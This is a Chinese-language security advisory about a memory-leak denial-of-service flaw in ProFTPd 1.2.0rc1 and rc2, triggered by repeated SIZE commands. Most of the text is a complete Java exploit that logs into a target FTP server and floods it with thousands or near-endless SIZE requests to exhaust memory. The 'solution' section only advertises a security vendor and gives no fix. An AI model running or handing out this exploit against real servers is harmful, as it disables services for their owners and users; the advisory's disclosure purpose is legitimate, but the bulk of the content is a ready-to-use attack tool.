ProFTPd 远程拒绝服务漏洞 (APP,缺陷)

涉及程序：
ProFTPd
 
描述：
ProFTPd 内存泄露引起拒绝服务攻击
 
详细：
ProFTPd 是一款非常流行的 FTP 服务器。发现它存在一个安全漏洞，允许恶意用户对它进行拒绝服务攻击。

当 ProFTPd 执行 SIZE FTP 命令时会引起内存泄露漏洞，如果发送大约5000次 SIZE FTP 命令到服务器中可能引起 ProFTPd 耗费超过300KB的内存。如果发送更多的SIZE 命令将引起拒绝服务攻击。


以下代码仅仅用来测试和研究这个漏洞，如果您将其用于不正当的途径请后果自负


*/


import java.net.*;
import java.io.*;


class TCPconnection {


 　public TCPconnection (String hostname, int portnumber) throws Exception {
 　Socket s = doaSocket(hostname, portnumber);
 　br = new BufferedReader (new InputStreamReader (s.getInputStream()));
 　ps = new PrintStream (s.getOutputStream());
 　}


 　public String readLine() throws Exception {
 　String s;
 　try { s = br.readLine(); }
 　catch (IOException ioe) {
 　System.out.println("TCP Error ... it's a little hax0r exception ;-)");
 　throw new Exception ("/nInput Error: I/O Error");
 　　}
 　return s;
 　}


 　public void println(String s) {
 　　ps.println(s);
 　}


 　private Socket doaSocket(String hostname, int portnumber) throws Exception {
 　Socket s = null;
 　int attempts = 0;
 　while (s == null && attempts<maxattempts) {
 　try { s = new Socket(hostname, portnumber); }
 　catch (UnknownHostException uhe) {
 　System.err.println("It was no posible to establish the TCP connection./n" + "Reason: unknown hostname " + hostname + ". Here is the Exception:");
 　throw new Exception("/nConnection Error: " + "unknown hostname");
 　}
 　catch (IOException ioe) {
 　System.err.println("The connection was not accomplished due to an I/O Error: trying it again ...");
 　}
 　attempts++;
 　}
 　if (s == null) throw new IOException("/nThe connection was not accomplished due to an I/O Error: trying it again ...");
 　else return s; }
 　private final int maxattempts = 5;
 　private BufferedReader br;
 　private PrintStream ps;


 　}


class proftpDoS {


 　public static void main(String[] arg) throws Exception {
 　InputStreamReader isr;
 　BufferedReader tcld;
 　String hostnamez, username, password, file, s1, option;
 　int i, j, k;
 　isr = new InputStreamReader(System.in);
 　tcld = new BufferedReader(isr);
 　System.out.println("ProFTPd DoS by JeT-Li -The Wushu Master-");
 　System.out.println("Code in an attempt to solve Fermat Last's Theoreme");
 　hostnamez = "";
 　while (hostnamez.length()==0) {
 　System.out.print("Please enter the hostname/IP: ");
 　hostnamez = tcld.readLine(); }
 　username = "";
 　while (username.length()==0) {
 　System.out.print("Enter the username: ");
 　username = tcld.readLine(); }
 　password = "";
 　while (password.length()==0) {
 　System.out.print("Enter the password for that username: ");
 　password = tcld.readLine(); }
 　file = "";
 　while (file.length()==0) {
 　System.out.print("Enter a valid filename on the FTP /n(with correct path of course ;-): ");
 　file = tcld.readLine(); }
 　System.out.println("Choose one of this options; insert only the NUMBER, i.e.: 1");
 　System.out.println("1) Request 10000 size's to the server (it may be enough)");
 　System.out.println("2) /"No pain no gain/" (pseudo-eternal requests, ey it may be harm ;-P)");
 　System.out.print("Option: ");
 　option = tcld.readLine();
 　k = Integer.parseInt(option);
 　while (!(k==1 || k==2)) {
 　System.out.print("Option not valid, please try again: ");
 　option = tcld.readLine();
 　k = Integer.parseInt(option); }
 　TCPconnection tc = new TCPconnection(hostnamez, 21);
 　tc.println("user " + username);
 　tc.println("pass " + password);
 　if (k==1) {
 　　for(i=0;i<10000;i++)
 　　tc.println("size " + file); }
 　else if (k==2) {
 　for(i=1;i<100;i++)
 　　for(j=2;j<((int)Math.pow(j,i ));j++)
 　　　 tc.println("size " + file); }
 　tc.println("quit");
 　s1 = tc.readLine();
 　while (s1!=null) {
 　s1 = tc.readLine();
 　System.out.println("Attack completed ... as one of my friends says:");
 　System.out.println("Hack just r0cks ;-)");
 　}
 　}
}

受影响的系统：
ProFTPd 1.2.0rc1
ProFTPd 1.2.0rc2　
 
解决方案：
CNNS 为您提供完善的网络安全服务。